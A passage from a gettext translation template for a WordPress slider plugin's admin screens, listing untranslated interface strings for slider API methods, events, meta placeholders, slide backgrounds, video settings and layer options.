the slider." msgstr "" #: admin/views/modals-builder.php:412 msgid "External Scroll" msgstr "" #: admin/views/modals-builder.php:418 msgid "" "Remove One Slide with Slide Index from the Slider. Index starts with 0 which " "will remove the first slide." msgstr "" #: admin/views/modals-builder.php:418 msgid "Remove Slide" msgstr "" #: admin/views/modals-builder.php:424 admin/views/modals-builder.php:430 msgid "Switch to the slide which is defined as parameter." msgstr "" #: admin/views/modals-builder.php:424 msgid "Go To Slide" msgstr "" #: admin/views/modals-builder.php:430 msgid "Go To Slide with ID" msgstr "" #: admin/views/modals-builder.php:436 msgid "Get the amount of existing slides in the slider." msgstr "" #: admin/views/modals-builder.php:436 msgid "Max Slides" msgstr "" #: admin/views/modals-builder.php:442 msgid "Get the current focused slide index." msgstr "" #: admin/views/modals-builder.php:442 msgid "Current Slide" msgstr "" #: admin/views/modals-builder.php:448 msgid "Get the previously played slide." msgstr "" #: admin/views/modals-builder.php:454 msgid "" "Recalculate all positions, sizing etc in the slider. This should be called " "i.e. if Slider was invisible and becomes visible without any window resize " "event." msgstr "" #: admin/views/modals-builder.php:454 msgid "Redraw Slider" msgstr "" #: admin/views/modals-builder.php:460 msgid "" "Unbind all listeners, remove current animations and delete containers. Ready " "for Garbage collection." msgstr "" #: admin/views/modals-builder.php:460 msgid "Kill Slider" msgstr "" #: admin/views/modals-builder.php:469 admin/views/modals-builder.php:525 #: admin/views/modals-builder.php:607 msgid "Events" msgstr "" #: admin/views/modals-builder.php:471 msgid "Slider Loaded" msgstr "" #: admin/views/modals-builder.php:474 msgid "Slider swapped to an other slide" msgstr "" #: admin/views/modals-builder.php:475 msgid "Index of Current Slide" msgstr "" #: admin/views/modals-builder.php:475 msgid "Current
          • Index" msgstr "" #: admin/views/modals-builder.php:475 admin/views/modals-builder.php:493 #: admin/views/modals-builder.php:496 msgid "Current Slide as jQuery Object" msgstr "" #: admin/views/modals-builder.php:475 msgid "Prev. Slide as jQuery Object" msgstr "" #: admin/views/modals-builder.php:477 msgid "Slider paused" msgstr "" #: admin/views/modals-builder.php:478 msgid "Timer Paused" msgstr "" #: admin/views/modals-builder.php:480 msgid "Slider is Playing after pause" msgstr "" #: admin/views/modals-builder.php:481 msgid "Timer Resumed" msgstr "" #: admin/views/modals-builder.php:483 msgid "Video is playing in slider" msgstr "" #: admin/views/modals-builder.php:484 msgid "Video is playing" msgstr "" #: admin/views/modals-builder.php:484 admin/views/modals-builder.php:487 msgid "Video API" msgstr "" #: admin/views/modals-builder.php:484 admin/views/modals-builder.php:487 msgid "youtube, vimeo, html5" msgstr "" #: admin/views/modals-builder.php:484 admin/views/modals-builder.php:487 msgid "Video Settings" msgstr "" #: admin/views/modals-builder.php:486 msgid "Video stopped in slider" msgstr "" #: admin/views/modals-builder.php:487 msgid "Video is stopped" msgstr "" #: admin/views/modals-builder.php:489 msgid "Slider reached the 'stop at' slide" msgstr "" #: admin/views/modals-builder.php:490 msgid "Slider Stopped" msgstr "" #: admin/views/modals-builder.php:492 msgid "Prepared for slide change" msgstr "" #: admin/views/modals-builder.php:493 msgid "Slider Before Swap" msgstr "" #: admin/views/modals-builder.php:493 msgid "Coming Slide as jQuery Object" msgstr "" #: admin/views/modals-builder.php:495 msgid "Finnished with slide change" msgstr "" #: admin/views/modals-builder.php:496 msgid "Slider After Swap" msgstr "" #: admin/views/modals-builder.php:496 msgid "Previous Slide as jQuery Object" msgstr "" #: admin/views/modals-builder.php:498 msgid "Last slide starts" msgstr "" #: admin/views/modals-builder.php:499 msgid "Last Slide Started, Slider is at the end" msgstr "" #: admin/views/modals-builder.php:501 msgid "Layer Events" msgstr "" #: admin/views/modals-builder.php:502 msgid "Layer Action (enterstage, enteredstage, leavestage,leftstage)" msgstr "" #: admin/views/modals-builder.php:502 msgid "Layer Type (image,video,html)" msgstr "" #: admin/views/modals-builder.php:502 msgid "Default Settings for Layer" msgstr "" #: admin/views/modals-builder.php:502 msgid "Layer as jQuery Object" msgstr "" #: admin/views/modals-builder.php:520 msgid "Meta Datas" msgstr "" #: admin/views/modals-builder.php:522 msgid "Basic" msgstr "" #: admin/views/modals-builder.php:526 admin/views/modals-builder.php:630 msgid "Social" msgstr "" #: admin/views/modals-builder.php:535 msgid "Basic Metas" msgstr "" #: admin/views/modals-builder.php:536 msgid "Link to current page" msgstr "" #: admin/views/modals-builder.php:536 msgid "http://yoursite.com/page" msgstr "" #: admin/views/modals-builder.php:537 msgid "Link to WP Home Page" msgstr "" #: admin/views/modals-builder.php:537 msgid "http://yoursite.com/home" msgstr "" #: admin/views/modals-builder.php:544 msgid "Post Basics" msgstr "" #: admin/views/modals-builder.php:546 msgid "Any custom meta tag" msgstr "" #: admin/views/modals-builder.php:546 msgid "Custom Meta" msgstr "" #: admin/views/modals-builder.php:547 admin/views/modals-builder.php:634 msgid "Post Title" msgstr "" #: admin/views/modals-builder.php:548 msgid "Post Excerpt" msgstr "" #: admin/views/modals-builder.php:548 admin/views/modals-builder.php:677 msgid "" "Excerpt ipsum dolor sit amet, consetetur sadipscing elitr sed diam nonumy." msgstr "" #: admin/views/modals-builder.php:549 msgid "Post Alias" msgstr "" #: admin/views/modals-builder.php:550 msgid "Post Content" msgstr "" #: admin/views/modals-builder.php:550 admin/views/modals-builder.php:551 #: admin/views/modals-builder.php:552 admin/views/modals-builder.php:635 #: admin/views/modals-builder.php:636 admin/views/modals-builder.php:637 msgid "" "Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy " "eirmod tempor invidunt." msgstr "" #: admin/views/modals-builder.php:551 admin/views/modals-builder.php:636 msgid "Post content limit by words" msgstr "" #: admin/views/modals-builder.php:552 admin/views/modals-builder.php:637 msgid "Post content limit by chars" msgstr "" #: admin/views/modals-builder.php:557 msgid "Post Details" msgstr "" #: admin/views/modals-builder.php:558 admin/views/modals-builder.php:638 msgid "The link to the post" msgstr "" #: admin/views/modals-builder.php:558 admin/views/modals-builder.php:638 msgid "http://yoursite.com/post" msgstr "" #: admin/views/modals-builder.php:559 admin/views/modals-builder.php:639 #: admin/views/modals-builder.php:646 admin/views/modals-builder.php:653 msgid "Date created" msgstr "" #: admin/views/modals-builder.php:559 msgid "05.03.2018" msgstr "" #: admin/views/modals-builder.php:560 msgid "Date modified" msgstr "" #: admin/views/modals-builder.php:560 msgid "04.03.2018" msgstr "" #: admin/views/modals-builder.php:561 msgid "Author name" msgstr "" #: admin/views/modals-builder.php:561 admin/views/modals-builder.php:640 msgid "John Doe" msgstr "" #: admin/views/modals-builder.php:562 msgid "Author Avatar URL(size in px)" msgstr "" #: admin/views/modals-builder.php:562 msgid "http://yoursite/media/avatar.jpg" msgstr "" #: admin/views/modals-builder.php:563 msgid "Author Website" msgstr "" #: admin/views/modals-builder.php:563 msgid "http://yoursite/user/page" msgstr "" #: admin/views/modals-builder.php:564 msgid "Author Posts Page" msgstr "" #: admin/views/modals-builder.php:564 msgid "http://yoursite/user/post" msgstr "" #: admin/views/modals-builder.php:569 msgid "Post Categories, Tags and Comments" msgstr "" #: admin/views/modals-builder.php:570 msgid "Number of comments" msgstr "" #: admin/views/modals-builder.php:570 msgid "20" msgstr "" #: admin/views/modals-builder.php:571 msgid "List of categories with links" msgstr "" #: admin/views/modals-builder.php:571 admin/views/modals-builder.php:572 msgid "Category1, Category2, Category3" msgstr "" #: admin/views/modals-builder.php:572 msgid "List of categories without links" msgstr "" #: admin/views/modals-builder.php:573 msgid "List of tags with links" msgstr "" #: admin/views/modals-builder.php:573 msgid "Tag1, Tag2, Tag3" msgstr "" #: admin/views/modals-builder.php:580 msgid "WooCommerce Basics" msgstr "" #: admin/views/modals-builder.php:581 msgid "Categories" msgstr "" #: admin/views/modals-builder.php:581 msgid "WC Category1, WC Category2" msgstr "" #: admin/views/modals-builder.php:582 msgid "WC Tag 1, WC Tag 2, WC Tag 3" msgstr "" #: admin/views/modals-builder.php:583 msgid "Add to Cart URL" msgstr "" #: admin/views/modals-builder.php:583 msgid "http://yoursite.com/addtocart.php" msgstr "" #: admin/views/modals-builder.php:584 msgid "Add to Cart Button" msgstr "" #: admin/views/modals-builder.php:584 msgid "Add To Cart" msgstr "" #: admin/views/modals-builder.php:587 msgid "WooCommerce Prices" msgstr "" #: admin/views/modals-builder.php:588 msgid "Full Price" msgstr "" #: admin/views/modals-builder.php:588 admin/views/modals-builder.php:589 msgid "$9.99" msgstr "" #: admin/views/modals-builder.php:589 msgid "Single Price" msgstr "" #: admin/views/modals-builder.php:590 msgid "Single Price without currency" msgstr "" #: admin/views/modals-builder.php:590 msgid "9.99" msgstr "" #: admin/views/modals-builder.php:593 msgid "WooCommerce Stock" msgstr "" #: admin/views/modals-builder.php:594 msgid "457819" msgstr "" #: admin/views/modals-builder.php:595 msgid "In Stock" msgstr "" #: admin/views/modals-builder.php:595 msgid "5" msgstr "" #: admin/views/modals-builder.php:596 msgid "Package" msgstr "" #: admin/views/modals-builder.php:599 msgid "WooCommerce Ratings" msgstr "" #: admin/views/modals-builder.php:600 msgid "Number of Ratings" msgstr "" #: admin/views/modals-builder.php:600 msgid "47" msgstr "" #: admin/views/modals-builder.php:601 msgid "Number of Reviews" msgstr "" #: admin/views/modals-builder.php:601 msgid "13" msgstr "" #: admin/views/modals-builder.php:602 msgid "Text Rating" msgstr "" #: admin/views/modals-builder.php:602 msgid "9" msgstr "" #: admin/views/modals-builder.php:603 msgid "Star Rating" msgstr "" #: admin/views/modals-builder.php:603 msgid "38" msgstr "" #: admin/views/modals-builder.php:610 msgid "Event Basics" msgstr "" #: admin/views/modals-builder.php:611 msgid "Event start date" msgstr "" #: admin/views/modals-builder.php:611 msgid "14.09.2019" msgstr "" #: admin/views/modals-builder.php:612 msgid "Event end date" msgstr "" #: admin/views/modals-builder.php:612 msgid "17.09.2019" msgstr "" #: admin/views/modals-builder.php:613 msgid "Event start time" msgstr "" #: admin/views/modals-builder.php:613 msgid "21:00" msgstr "" #: admin/views/modals-builder.php:614 msgid "Event end time" msgstr "" #: admin/views/modals-builder.php:614 msgid "14:00" msgstr "" #: admin/views/modals-builder.php:615 msgid "Event ID" msgstr "" #: admin/views/modals-builder.php:615 msgid "EQH-1879" msgstr "" #: admin/views/modals-builder.php:618 msgid "Event Location" msgstr "" #: admin/views/modals-builder.php:619 msgid "Event location name" msgstr "" #: admin/views/modals-builder.php:619 msgid "Music Hall" msgstr "" #: admin/views/modals-builder.php:620 msgid "Event location slug" msgstr "" #: admin/views/modals-builder.php:620 msgid "Concert" msgstr "" #: admin/views/modals-builder.php:621 msgid "Event location address" msgstr "" #: admin/views/modals-builder.php:621 msgid "East 32th Street between Park & Lexington Avn " msgstr "" #: admin/views/modals-builder.php:622 msgid "Event location town" msgstr "" #: admin/views/modals-builder.php:622 msgid "Los Angeles" msgstr "" #: admin/views/modals-builder.php:623 msgid "Event location state" msgstr "" #: admin/views/modals-builder.php:623 msgid "US" msgstr "" #: admin/views/modals-builder.php:624 msgid "Event location postcode" msgstr "" #: admin/views/modals-builder.php:624 msgid "EX 87 TNT" msgstr "" #: admin/views/modals-builder.php:625 msgid "Event location region" msgstr "" #: admin/views/modals-builder.php:625 msgid "Orange Country" msgstr "" #: admin/views/modals-builder.php:626 msgid "Event location country" msgstr "" #: admin/views/modals-builder.php:626 msgid "USA" msgstr "" #: admin/views/modals-builder.php:633 msgid "Social Basics (Flickr, Instagram, Twitter, Facebook, YouTube)" msgstr "" #: admin/views/modals-builder.php:635 msgid "Post content" msgstr "" #: admin/views/modals-builder.php:639 admin/views/modals-builder.php:646 #: admin/views/modals-builder.php:653 admin/views/modals-builder.php:661 #: admin/views/modals-builder.php:669 admin/views/modals-builder.php:678 #: admin/views/modals-builder.php:684 msgid "08.03.2018" msgstr "" #: admin/views/modals-builder.php:640 msgid "Username" msgstr "" #: admin/views/modals-builder.php:645 msgid "Flickr Extras" msgstr "" #: admin/views/modals-builder.php:647 msgid "Views" msgstr "" #: admin/views/modals-builder.php:647 msgid "24" msgstr "" #: admin/views/modals-builder.php:652 msgid "Instagramm Extras" msgstr "" #: admin/views/modals-builder.php:654 admin/views/modals-builder.php:671 #: admin/views/modals-builder.php:685 msgid "Number of Likes" msgstr "" #: admin/views/modals-builder.php:654 msgid "12" msgstr "" #: admin/views/modals-builder.php:655 admin/views/modals-builder.php:687 msgid "Number of Comments" msgstr "" #: admin/views/modals-builder.php:655 msgid "19" msgstr "" #: admin/views/modals-builder.php:660 msgid "Twitter Extras" msgstr "" #: admin/views/modals-builder.php:661 admin/views/modals-builder.php:669 #: admin/views/modals-builder.php:678 admin/views/modals-builder.php:684 msgid "Date Published" msgstr "" #: admin/views/modals-builder.php:662 msgid "Retweet Count" msgstr "" #: admin/views/modals-builder.php:662 msgid "19824" msgstr "" #: admin/views/modals-builder.php:663 msgid "Favorite Count" msgstr "" #: admin/views/modals-builder.php:663 msgid "1249" msgstr "" #: admin/views/modals-builder.php:668 msgid "Facebook Extras" msgstr "" #: admin/views/modals-builder.php:670 msgid "Date Modified" msgstr "" #: admin/views/modals-builder.php:670 msgid "18.08.2018" msgstr "" #: admin/views/modals-builder.php:671 msgid "212" msgstr "" #: admin/views/modals-builder.php:676 msgid "YouTube Extras" msgstr "" #: admin/views/modals-builder.php:677 msgid "Excerpt" msgstr "" #: admin/views/modals-builder.php:683 msgid "Vimeo Extras" msgstr "" #: admin/views/modals-builder.php:685 msgid "321" msgstr "" #: admin/views/modals-builder.php:686 msgid "Number of Views" msgstr "" #: admin/views/modals-builder.php:686 msgid "1786" msgstr "" #: admin/views/modals-builder.php:687 msgid "124" msgstr "" #: admin/views/modals-builder.php:703 admin/views/builder-layer-forms.php:1074 #: admin/views/builder-layer-forms.php:1078 msgid "Actions" msgstr "" #: admin/views/modals-builder.php:716 msgid "Trigger Memory" msgstr "" #: admin/views/modals-builder.php:716 admin/views/modals-builder.php:832 msgid "Reset before each Loop" msgstr "" #: admin/views/modals-builder.php:716 admin/views/modals-builder.php:832 msgid "Keep Last State" msgstr "" #: admin/views/modals-builder.php:728 msgid "No Action Selected" msgstr "" #: admin/views/modals-builder.php:736 admin/views/modals-builder.php:737 msgid "Click" msgstr "" #: admin/views/modals-builder.php:736 admin/views/modals-builder.php:737 msgid "Mouse Enter" msgstr "" #: admin/views/modals-builder.php:736 admin/views/modals-builder.php:737 msgid "Mouse Leave" msgstr "" #: admin/views/modals-builder.php:737 msgid "Interaction" msgstr "" #: admin/views/modals-builder.php:743 msgid "Action Type" msgstr "" #: admin/views/modals-builder.php:748 msgid "Link URL" msgstr "" #: admin/views/modals-builder.php:748 msgid "Enter Link" msgstr "" #: admin/views/modals-builder.php:749 msgid "Link Target" msgstr "" #: admin/views/modals-builder.php:749 msgid "Same Window" msgstr "" #: admin/views/modals-builder.php:749 msgid "New Window" msgstr "" #: admin/views/modals-builder.php:750 msgid "Link Type" msgstr "" #: admin/views/modals-builder.php:751 msgid "Follow" msgstr "" #: admin/views/modals-builder.php:751 msgid "Follow Link" msgstr "" #: admin/views/modals-builder.php:751 msgid "No Follow" msgstr "" #: admin/views/modals-builder.php:756 msgid "Open Modal" msgstr "" #: admin/views/modals-builder.php:757 msgid "Open Slide" msgstr "" #: admin/views/modals-builder.php:762 msgid "Function" msgstr "" #: admin/views/modals-builder.php:762 msgid "javaScript Function" msgstr "" #: admin/views/modals-builder.php:768 msgid "Scroll to ID" msgstr "" #: admin/views/modals-builder.php:768 msgid "ID of Element" msgstr "" #: admin/views/modals-builder.php:774 msgid "Scroll Offset" msgstr "" #: admin/views/modals-builder.php:774 msgid "Offset to Scroll Position" msgstr "" #: admin/views/modals-builder.php:775 msgid "Animation Ease" msgstr "" #: admin/views/modals-builder.php:776 msgid "Animation Duration" msgstr "" #: admin/views/modals-builder.php:776 msgid "Animation Duration in ms" msgstr "" #: admin/views/modals-builder.php:788 msgid "Target Layer" msgstr "" #: admin/views/modals-builder.php:794 msgid "Toggle Start State" msgstr "" #: admin/views/modals-builder.php:794 msgid "Toggled (Visible)" msgstr "" #: admin/views/modals-builder.php:794 msgid "Untoggled (Hidden)" msgstr "" #: admin/views/modals-builder.php:799 admin/views/modals-builder.php:804 #: admin/views/modals-builder.php:811 msgid "Frame wait's on Action" msgstr "" #: admin/views/modals-builder.php:809 msgid "GoTo Frame" msgstr "" #: admin/views/modals-builder.php:817 msgid "Frame N" msgstr "" #: admin/views/modals-builder.php:818 msgid "Frame M" msgstr "" #: admin/views/modals-builder.php:820 msgid "\"N\" wait's on Action" msgstr "" #: admin/views/modals-builder.php:821 msgid "\"M\" wait's on Action" msgstr "" #: admin/views/modals-builder.php:827 msgid "Reset Children Timelines" msgstr "" #: admin/views/modals-builder.php:832 msgid "After Action" msgstr "" #: admin/views/modals-builder.php:838 msgid "Class to Toggle" msgstr "" #: admin/views/modals-builder.php:838 msgid "class Name to Toggle" msgstr "" #: admin/views/modals-builder.php:845 msgid "Action Delay" msgstr "" #: admin/views/builder-slide-forms.php:19 #: admin/views/builder-slide-forms.php:39 #: admin/views/builder-layer-forms.php:505 #: admin/views/builder-layer-forms.php:562 #: admin/views/builder-layer-forms.php:1560 msgid "Background" msgstr "" #: admin/views/builder-slide-forms.php:24 msgid "Pub. Rules" msgstr "" #: admin/views/builder-slide-forms.php:25 msgid "Tags & Link" msgstr "" #: admin/views/builder-slide-forms.php:26 msgid "Static Layer" msgstr "" #: admin/views/builder-slide-forms.php:27 msgid "Ken Burns" msgstr "" #: admin/views/builder-slide-forms.php:28 msgid "Params" msgstr "" #: admin/views/builder-slide-forms.php:29 msgid "Loop Layers" msgstr "" #: admin/views/builder-slide-forms.php:45 msgid "External Image" msgstr "" #: admin/views/builder-slide-forms.php:45 msgid "Transparent" msgstr "" #: admin/views/builder-slide-forms.php:45 msgid "Colored" msgstr "" #: admin/views/builder-slide-forms.php:45 #: admin/views/builder-layer-forms.php:200 msgid "YouTube Video" msgstr "" #: admin/views/builder-slide-forms.php:45 #: admin/views/builder-layer-forms.php:201 msgid "Vimeo Video" msgstr "" #: admin/views/builder-slide-forms.php:45 msgid "HML5 Video" msgstr "" #: admin/views/builder-slide-forms.php:57 msgid "Refresh Source" msgstr "" #: admin/views/builder-slide-forms.php:59 msgid "Background Color" msgstr "" #: admin/views/builder-slide-forms.php:61 msgid "YouTube ID" msgstr "" #: admin/views/builder-slide-forms.php:61 msgid "Enter YouTube ID" msgstr "" #: admin/views/builder-slide-forms.php:63 #: admin/views/builder-slide-forms.php:71 #: admin/views/builder-slide-forms.php:82 #: admin/views/builder-layer-forms.php:255 #: admin/views/builder-layer-forms.php:259 #: admin/views/builder-layer-forms.php:262 msgid "Poster Image" msgstr "" #: admin/views/builder-slide-forms.php:63 msgid "YouTube Poster" msgstr "" #: admin/views/builder-slide-forms.php:66 #: admin/views/builder-slide-forms.php:73 #: admin/views/builder-slide-forms.php:84 #: admin/views/builder-layer-forms.php:571 msgid "Remove" msgstr "" #: admin/views/builder-slide-forms.php:69 msgid "Vimeo ID" msgstr "" #: admin/views/builder-slide-forms.php:69 msgid "Enter Vimeo ID" msgstr "" #: admin/views/builder-slide-forms.php:76 #: admin/views/builder-layer-forms.php:214 #: admin/views/builder-layer-forms.php:218 msgid "MPEG" msgstr "" #: admin/views/builder-slide-forms.php:76 #: admin/views/builder-layer-forms.php:214 #: admin/views/builder-layer-forms.php:218 msgid "Enter MPEG Source" msgstr "" #: admin/views/builder-slide-forms.php:79 #: admin/views/builder-layer-forms.php:225 msgid "WEBM" msgstr "" #: admin/views/builder-slide-forms.php:79 #: admin/views/builder-layer-forms.php:225 msgid "Optional WEBM Source" msgstr "" #: admin/views/builder-slide-forms.php:80 #: admin/views/builder-layer-forms.php:226 msgid "OGV" msgstr "" #: admin/views/builder-slide-forms.php:80 #: admin/views/builder-layer-forms.php:226 msgid "Optional OGV Source" msgstr "" #: admin/views/builder-slide-forms.php:91 msgid "Video from Stream if exists" msgstr "" #: admin/views/builder-slide-forms.php:98 msgid "Settings" msgstr "" #: admin/views/builder-slide-forms.php:104 msgid "Source Size" msgstr "" #: admin/views/builder-slide-forms.php:115 msgid "BG Fit" msgstr "" #: admin/views/builder-slide-forms.php:130 #: admin/views/builder-slide-forms.php:669 msgid "Repeat" msgstr "" #: admin/views/builder-slide-forms.php:138 msgid "(x%, y%)" msgstr "" #: admin/views/builder-slide-forms.php:157 msgid "X% Y%" msgstr "" #: admin/views/builder-slide-forms.php:172 msgid "\"Alt\" Attr." msgstr "" #: admin/views/builder-slide-forms.php:174 #: admin/views/builder-slide-forms.php:186 msgid "Filename" msgstr "" #: admin/views/builder-slide-forms.php:179 msgid "Custom \"Alt\"" msgstr "" #: admin/views/builder-slide-forms.php:184 msgid "\"Title\" Attr." msgstr "" #: admin/views/builder-slide-forms.php:192 msgid "Custom \"Title\"" msgstr "" #: admin/views/builder-slide-forms.php:196 msgid "Width Attrib." msgstr "" #: admin/views/builder-slide-forms.php:197 msgid "Height Attrib." msgstr "" #: admin/views/builder-slide-forms.php:204 #: admin/views/builder-layer-forms.php:234 msgid "Aspect Ratio" msgstr "" #: admin/views/builder-slide-forms.php:208 msgid "Loop Mode" msgstr "" #: admin/views/builder-slide-forms.php:209 msgid "Disable" msgstr "" #: admin/views/builder-slide-forms.php:210 msgid "Slider Timer paused" msgstr "" #: admin/views/builder-slide-forms.php:211 msgid "Slider Timer keep going" msgstr "" #: admin/views/builder-slide-forms.php:214 msgid "Force Cover Mode" msgstr "" #: admin/views/builder-slide-forms.php:215 #: admin/views/builder-layer-forms.php:278 msgid "Next Slide at End" msgstr "" #: admin/views/builder-slide-forms.php:216 #: admin/views/builder-layer-forms.php:279 msgid "Rewind at Start" msgstr "" #: admin/views/builder-slide-forms.php:217 #: admin/views/builder-layer-forms.php:286 msgid "Mute at Start" msgstr "" #: admin/views/builder-slide-forms.php:229 #: admin/views/builder-slide-forms.php:230 #: admin/views/builder-layer-forms.php:306 #: admin/views/builder-layer-forms.php:308 msgid "Arguments" msgstr "" #: admin/views/builder-slide-forms.php:245 #: admin/views/builder-layer-forms.php:801 msgid "On Scroll Details" msgstr "" #: admin/views/builder-slide-forms.php:249 #: admin/views/builder-layer-forms.php:805 msgid "On Scroll can be Added per Slider in the General Options" msgstr "" #: admin/views/builder-slide-forms.php:257 msgid "Parallax & 3D Settings" msgstr "" #: admin/views/builder-slide-forms.php:264 msgid "Global Value ! Option to find under Slider Settings - Parallax Tab" msgstr "" #: admin/views/builder-slide-forms.php:268 msgid "Parallax Level" msgstr "" #: admin/views/builder-slide-forms.php:293 msgid "Scroll Effects" msgstr "" #: admin/views/builder-slide-forms.php:297 #: admin/views/builder-slide-forms.php:302 #: admin/views/builder-slide-forms.php:307 #: admin/views/builder-layer-forms.php:848 #: admin/views/builder-layer-forms.php:861 msgid "Enabled - Scroll Based" msgstr "" #: admin/views/builder-slide-forms.php:298 #: admin/views/builder-slide-forms.php:303 #: admin/views/builder-slide-forms.php:308 #: admin/views/builder-layer-forms.php:849 msgid "Disabled - Time Based" msgstr "" #: admin/views/builder-slide-forms.php:327 msgid "BG Filter" msgstr "" #: admin/views/builder-slide-forms.php:387 msgid "Slide Animation" msgstr "" #: admin/views/builder-slide-forms.php:391 msgid "Active Transition Order" msgstr "" #: admin/views/builder-slide-forms.php:393 msgid "Add Transition" msgstr "" #: admin/views/builder-slide-forms.php:400 msgid "Fade Settings" msgstr "" #: admin/views/builder-slide-forms.php:419 msgid "Ken Burns / Pan Zoom" msgstr "" #: admin/views/builder-slide-forms.php:423 msgid "Pan Zoom Settings" msgstr "" #: admin/views/builder-slide-forms.php:483 msgid "Overflow" msgstr "" #: admin/views/builder-slide-forms.php:484 msgid "Visible" msgstr "" #: admin/views/builder-slide-forms.php:485 msgid "Hidden" msgstr "" #: admin/views/builder-slide-forms.php:488 msgid "Z Position" msgstr "" #: admin/views/builder-slide-forms.php:489 msgid "Front" msgstr "" #: admin/views/builder-slide-forms.php:493 msgid "Show Last Edited Slide" msgstr "" #: admin/views/builder-slide-forms.php:506 msgid "Slide HTML Tags" msgstr "" #: admin/views/builder-slide-forms.php:511 msgid "ID" msgstr "" #: admin/views/builder-slide-forms.php:512 msgid "HTML Data" msgstr "" #: admin/views/builder-slide-forms.php:519 msgid "Link & Seo" msgstr "" #: admin/views/builder-slide-forms.php:524 msgid "Slide Link" msgstr "" #: admin/views/builder-slide-forms.php:527 msgid "Regular" msgstr "" #: admin/views/builder-slide-forms.php:528 msgid "To Slide" msgstr "" #: admin/views/builder-slide-forms.php:531 msgid "URL" msgstr "" #: admin/views/builder-slide-forms.php:532 msgid "Target" msgstr "" #: admin/views/builder-slide-forms.php:533 msgid "_self" msgstr "" #: admin/views/builder-slide-forms.php:534 msgid "_blank" msgstr "" #: admin/views/builder-slide-forms.php:535 msgid "_top" msgstr "" #: admin/views/builder-slide-forms.php:536 msgid "_parent" msgstr "" #: admin/views/builder-slide-forms.php:540 msgid "Link to Slide" msgstr "" #: admin/views/builder-slide-forms.php:542 msgid "Sensibility" msgstr "" #: admin/views/builder-slide-forms.php:543 msgid "Over Layers (Front)" msgstr "" #: admin/views/builder-slide-forms.php:544 msgid "Behind Layers (Back)" msgstr "" #: admin/views/builder-slide-forms.php:563 msgid "Slide Length" msgstr "" #: admin/views/builder-slide-forms.php:566 msgid "Stop Slider Progress" msgstr "" #: admin/views/builder-slide-forms.php:577 msgid "Visible in Navigation" msgstr "" #: admin/views/builder-slide-forms.php:578 msgid "Hidden in Navigation" msgstr "" #: admin/views/builder-slide-forms.php:595 msgid "Publish" msgstr "" #: admin/views/builder-slide-forms.php:599 msgid "Published" msgstr "" #: admin/views/builder-slide-forms.php:600 msgid "Unpublished" msgstr "" #: admin/views/builder-slide-forms.php:617 msgid "Wordpress Multi Language" msgstr "" #: admin/views/builder-slide-forms.php:623 msgid "Slide Lang." msgstr "" #: admin/views/builder-slide-forms.php:639 msgid "Parameters" msgstr "" #: admin/views/builder-slide-forms.php:653 msgid "Description" msgstr "" #: admin/views/builder-slide-forms.php:665 msgid "Loop All Layer Timeline" msgstr "" #: admin/views/builder-slide-forms.php:667 msgid "Use Slide Loop" msgstr "" #: admin/views/builder-slide-forms.php:670 msgid "Start" msgstr "" #: admin/views/builder-slide-forms.php:671 msgid "End" msgstr "" #: admin/views/builder-slide-forms.php:687 msgid "Module Admin Thumbnail" msgstr "" #: admin/views/builder-slide-forms.php:692 msgid "Admin Thumb" msgstr "" #: admin/views/builder-slide-forms.php:701 msgid "Navig. Thumb" msgstr "" #: admin/views/builder-slide-forms.php:707 msgid "Dimension" msgstr "" #: admin/views/builder-slide-forms.php:708 msgid "From Slider Settings" msgstr "" #: admin/views/builder-layer-forms.php:23 msgid "Editor View" msgstr "" #: admin/views/builder-layer-forms.php:23 #: admin/views/builder-layer-forms.php:24 #: admin/views/builder-layer-forms.php:25 msgid "Layer options" msgstr "" #: admin/views/builder-layer-forms.php:24 msgid "Hover View" msgstr "" #: admin/views/builder-layer-forms.php:25 msgid "Animation View" msgstr "" #: admin/views/builder-layer-forms.php:30 msgid "Size & Pos" msgstr "" #: admin/views/builder-layer-forms.php:31 msgid "Adv. Style" msgstr "" #: admin/views/builder-layer-forms.php:33 msgid "Loop Layer" msgstr "" #: admin/views/builder-layer-forms.php:34 #: admin/views/builder-layer-forms.php:920 #: admin/views/builder-layer-forms.php:924 msgid "Hover" msgstr "" #: admin/views/builder-layer-forms.php:38 #: admin/views/builder-layer-forms.php:873 #: admin/views/builder-layer-forms.php:876 msgid "Attributes" msgstr "" #: admin/views/builder-layer-forms.php:39 msgid "Custom CSS" msgstr "" #: admin/views/builder-layer-forms.php:40 msgid "Static" msgstr "" #: admin/views/builder-layer-forms.php:57 msgid "Row Settings" msgstr "" #: admin/views/builder-layer-forms.php:74 msgid "Columns" msgstr "" #: admin/views/builder-layer-forms.php:75 msgid "Update Row" msgstr "" #: admin/views/builder-layer-forms.php:79 msgid "Break At" msgstr "" #: admin/views/builder-layer-forms.php:86 msgid "Row Position" msgstr "" #: admin/views/builder-layer-forms.php:98 msgid "Column Settings" msgstr "" #: admin/views/builder-layer-forms.php:101 msgid "Vertical Align" msgstr "" #: admin/views/builder-layer-forms.php:116 msgid "Text/Button Layer Content" msgstr "" #: admin/views/builder-layer-forms.php:121 msgid "Idle" msgstr "" #: admin/views/builder-layer-forms.php:122 msgid "Toggle" msgstr "" #: admin/views/builder-layer-forms.php:128 msgid "Meta" msgstr "" #: admin/views/builder-layer-forms.php:136 msgid "Use Toggle" msgstr "" #: admin/views/builder-layer-forms.php:137 msgid "Toggled in Hover Style" msgstr "" #: admin/views/builder-layer-forms.php:138 msgid "Inverse Toggled Content" msgstr "" #: admin/views/builder-layer-forms.php:142 msgid "Placeholder" msgstr "" #: admin/views/builder-layer-forms.php:143 msgid "Line Break" msgstr "" #: admin/views/builder-layer-forms.php:143 msgid "Only Manual <br/>" msgstr "" #: admin/views/builder-layer-forms.php:143 msgid "Width Based" msgstr "" #: admin/views/builder-layer-forms.php:143 msgid "Content Based" msgstr "" #: admin/views/builder-layer-forms.php:143 msgid "Content and Width Based" msgstr "" #: admin/views/builder-layer-forms.php:151 msgid "Text Align" msgstr "" #: admin/views/builder-layer-forms.php:166 msgid "Image Layer Content" msgstr "" #: admin/views/builder-layer-forms.php:168 msgid "Image from Stream if exist" msgstr "" #: admin/views/builder-layer-forms.php:179 #: admin/views/builder-layer-forms.php:181 msgid "Default Setting" msgstr "" #: admin/views/builder-layer-forms.php:179 msgid "Force Lazy Loading" msgstr "" #: admin/views/builder-layer-forms.php:179 msgid "Ignore Lazy Loading" msgstr "" #: admin/views/builder-layer-forms.php:180 msgid "Source Type" msgstr "" #: admin/views/builder-layer-forms.php:192 msgid "Media Content" msgstr "" #: admin/views/builder-layer-forms.php:196 msgid "Video from Stream if 